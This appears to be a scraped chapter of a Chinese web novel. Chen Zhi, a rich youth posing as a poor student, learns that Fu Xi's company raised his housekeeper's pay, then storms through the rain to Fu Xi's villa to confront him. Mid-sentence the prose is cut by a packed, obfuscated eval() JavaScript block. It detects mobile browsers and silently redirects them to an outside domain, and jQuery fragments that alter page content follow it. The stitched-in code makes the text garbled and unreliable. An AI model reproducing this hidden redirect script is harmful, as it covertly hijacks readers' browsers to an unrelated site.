一直到陈致磕磕绊绊地做完饭。
他再去看手机,刷新了一下,词条依然在。
并且依旧高居首位。
没有要撤的意思。
那点理智和笃定顿时开始摇摇欲坠。
陈致知道,如果傅悉不想要这些绯闻。
他只需要皱眉表个态,很快便有人会处理掉这些热搜。
这时,“咔哒”一声,门开了。
一个略显衰老的身影走了进来。
“饭做好了。”陈致扔了一句,就回了自己房间。
门倒是没关。
罗红走进来,弯腰咳嗽了两声,欣慰道:
“小致懂事了,只道做饭了。”
“哎……是奶奶没用,每天厂子里下班时间就已经很晚了……”
陈致额角青筋跳了跳。
忍了又忍,没忍住道:“别装了,我知道你今天下午翘班去做美容了。”
他这句话出来,罗女士顿时挺直腰杆,健步如飞。
把挎包往沙发上一扔,说:“还不是为了你小子,自从你说要装穷,我已经快半年没染头发了。”
陈致:“……”
吴宇给他的人设是赌博的爸,得病的妈,上学的妹妹,破碎的他。
但前三项实在太不现实。
罗红是在陈家一直照顾陈致的阿姨。
便跟过来,做一位和陈致这位贫穷大学生相依为命的奶奶。
罗红好久没回国了,现在人快退休了,能有机会回来一趟,还挺高兴。
毕竟是自己照顾大的小子,她也不放心陈致一个人在这呆着。
一边数落着陈致,一边走进厨房。
掀开锅就看到青椒炒鸡蛋炒糊了。
菜板上还有个切得乱七八糟的洋葱。
看样子是切着切着辣得流眼泪,实在受不了,于是扔着了。
罗红哭笑不得。
心想果然是年轻人,四体不勤的大少爷,为了爱情连洋葱都敢切。
罗红麻溜地把洋葱切好,又炒了盘洋葱出来。
然后叫陈致吃饭。
陈致半躺在床上,想说不饿,不吃。
但他现在这个年纪,再加上每天运动量极大。
就算脑子想说这句话,身体也让他说不出口。
于是只能爬起来,臭着脸走到餐桌旁。
桌上只有一盘炒鸡蛋,一盘炒洋葱。
罗红看了一会儿,道:“以后晚上加个肉菜吧。”
“不用。”陈致说。
罗红翻了个白眼:“在自己家里装那么辛苦给谁看呢?”
“人还没追到呢,人家也没兴趣来你家参观。”
“……”陈致胸口中了一箭。
“再说工厂给我涨工资了,可以改善下生活。”罗红说。
“涨工资?”陈致眉梢动了动。
“是啊。”罗红虽然经常翘班出去玩,但该打听的消息一点没落下。
她道:“这个工厂不和傅氏有点联系吗?说前两天有人来视察,评优秀员工,特地把我给加上了。”
陈致一愣:“傅氏?”
“是啊,我们经理特地强调了一遍。”说着,罗红也回过味儿来。
她看着陈致,调笑道:“该不会是那位傅总朝你示好吧?”
说完,半晌没听到陈致的声音。
罗红抬头看过去,只见到陈致起身的背影。
“不是示好。”
少年只扔下这一句。
连外套都没拿,只穿着T恤就跑出了家门。
房门关上后,伴随着下楼的脚步声,才又模模糊糊听到一句:“我出去一趟。”
外面天已经黑了。
乌云渐渐漫上来,细小的雨丝缓慢的坠下。
比起雨,风呼啸得更厉害。
树叶在细雨里哗哗作响。
傅悉刚准备下班。
今天刚开了个小会,管理层里的老人齐宗和傅悉一起乘电梯下楼。
“早跟你说了让你盯着点,不然他捅了娄子,还得你给擦屁股,你不也麻烦吗?”
齐宗叹气。
他已经头发花白,是公司里年纪较大大的管理层了。
“齐叔,你又不是不知道,我要是插手,他更不高兴。”
傅悉说。
齐宗也摇了摇头。
过了一会儿,他忍不住又问:“小锦……真和你一样是你爷爷的亲孙子,当时没抱错吧?”
这办事儿的能力天差地别。
“这我就不清楚了,您得打电话问我爷爷。”傅悉笑道。
齐宗不说话了,戴上老花镜去看手机。
又过了一会儿。
他伸手拍拍傅悉的肩膀,把手机递到傅悉面前。
傅悉垂眸,看到自己和柏凡的热搜。
他脸上表情没什么变化。
更没有被长辈窥见私生活的尴尬。
“以后离这些小明星远一点,黏上来了多麻烦。”
齐宗叹气,又道,“想想你爷爷,那么大年龄了,看到这些指不定心里多难受。”
“你都二十五六了,是该定下来了,你爷爷像你那么大的时候,你爸都能上幼儿园了。”
齐宗开始催婚,“找个门当户对的女孩子把婚结了,你爷爷也安心。”
“真定下来,也就没这些绯闻了。”
傅悉嘴角又勾了勾。
谁说傅锦不像傅家人的。
就算正经事儿上再蠢,舆论倒也是让他搞明白了。
这种零碎的绯闻,一开始没人当回事,最初也有人觉得傅锦手段拙劣。
但一条条的多起来,大部分人还是信了。
齐宗还想再说点什么。
这时,傅悉的手机响了起来。
傅悉接通电话。
齐宗听不到电话内容,只看到傅悉嘴角勾了一下,垂眸露出个笑。
傅悉是个温和有礼的晚辈。
即使个人能力很强,但依旧顾忌着长辈的面子。
不会让长辈产生“前浪死在沙滩上”的唏嘘。
齐宗见过傅悉谦逊的笑,礼貌的笑。
但现在傅悉嘴角的那丝笑意,却和这些都不同。
具体区别,齐宗说不上来。
但他知道,傅悉要是愿意对同龄人这样笑一笑。
肯定一批人削尖了脑袋,挤着要和他结婚。
哪还用催?
齐宗支棱了一下耳朵,电话里是傅悉助理汇报工作的平板声线。
齐宗歇了心思,心想是自己想多了。
但很快,他又听傅悉说了一句:“带他来清洲湾。”
傅悉这个年纪,已经从家里搬了出去。
齐宗没记错的话,清洲湾是傅悉现在的住处。
这句话里的那个“他”又是谁?
齐宗难得冒出来点八卦之魂。
结果“滴”的一声,电梯到一楼。
电梯门打开。
傅悉率先走了出去,朝他笑道:“齐叔,我还有些事,先走了。”
“至于催婚的话,您说给我爷爷听吧。”
说着他挥挥手,笑着走出了傅氏大门,坐进了早准备好的车子里。
“这小子……”齐宗笑骂了一声。
他走出电梯,看向傅悉的背影,摸了摸下巴,思忖道:
“忙了一天心情还那么好……该不会谈恋爱了吧?”
清洲湾的别墅离傅氏很近,离A大则有些距离。
傅悉回到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634848|172637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住处洗了个澡,又在书房里坐了一会儿。
外面的天色已经彻底暗了下来。
先前的小雨,也逐渐连成了线,连绵不绝地打在地面上。
傅悉坐在书房窗前,看着雨点打在院子里的灌木上。
绿叶在雨中飘摇不定。
正安静地等着,云层中忽而传来一道闷响。
远方的天幕亮了一下,继而是一声炸雷。
傅悉讶异地抬头看了眼。
没想到这个季节还会有雷声。
雷声缓缓停歇。
“滴”的一声,是别墅电子门打开的声音。
傅悉低头笑了笑,手机在指尖轻轻转动。
等了一会儿,他起身走出书房。
客厅通往院子的大门开着。
管家立在一旁等着,因为不清楚来客是谁,显得稍有些迷茫。
傅悉穿着拖鞋走到玄关。
院子里清新地水汽和湿润泥土的气息扑面而来。
傅悉的视线越过雨幕,看向院门。
车子停在院外。
车门打开,下来一个颀长的身影。
司机也下了车,慌忙撑开伞,想费力举到那道身影的头顶。
但没有耐心的高大少年,早已经迈开步子,朝院子里走来。
他额发已经湿了,身上那件薄且褪色的棉质T恤也早被雨水打湿,紧贴在皮肤上。
随着他的动作,勾勒出躯体的轮廓。
雨水砸在石板上,溅起水花,又被他抬脚踩落。
迷蒙的雨幕,最终没能遮掩少年人压着凶狠的眉眼。
傅悉慵懒地靠在门边,看着少年冒着雨,气势汹汹地踏过他的院子。
踩上玄关的台阶,一步步走到他面前。
他居高临下,穿着剪裁得体,布料考究的家居服。
站在纤尘不染的高处。
冒着雨走来的少年,浑身湿淋淋,发丝狼狈的贴在脸上。
像只暴雨中无家可归的流浪狗。
但当少年走近,高而健壮的躯体带着浑身水汽,气势汹汹压过来。
便又衬得稍矮了一些,裹在针织衫里的傅悉,柔软又温和。
仿佛饿狼盯上了巢穴里安眠的猫。
一时分不清,谁才是被欺负的那个。
“怎么那么着急?”
傅悉笑问,视线顺着男生的脖颈,扫过湿淋淋的T恤,落在滴水的下摆上。
下一秒,少年那只足以拿起篮球的宽大手掌,直接伸过来,拎住了傅悉的领口。
指节上的雨水,顺势渗入傅悉象牙白的针织衫。
氤氲出一小片阴暗。
傅悉并没有反抗。
他顺势仰头,露出一截清瘦的脖颈。
陈致黑眸冷沉。
他喉结微微动了动,才道:“你做了什么,自己不清楚还要问我?”
傅悉脸上半点惊慌都没有。
只是嘴角轻勾,佯装讶异道:
“我只是告白被你拒绝,还被扔了精心准备的礼物而已,还能做什么?”
少年人禁不起玩笑。
听到这句话,咬肌瞬间鼓胀了一下,眼睛都要冒火。
生气时,那双黑眸极为明亮。
像是压抑着的最放肆不过的兽性突然爆发。
却又找不到出口。
徒劳地在牢笼里冲撞。
但是很快,这双眼睛的主人便冷静下来。
陈致松开手,收起怒火。
用一种势均力敌地理智,垂眸凝视着傅悉,冷笑道:
“先是送那样一双扎眼的鞋子。”
“然后又查到我家人的信息,干扰我家人的工作。”
“傅先生,惹我生气很好玩吗?”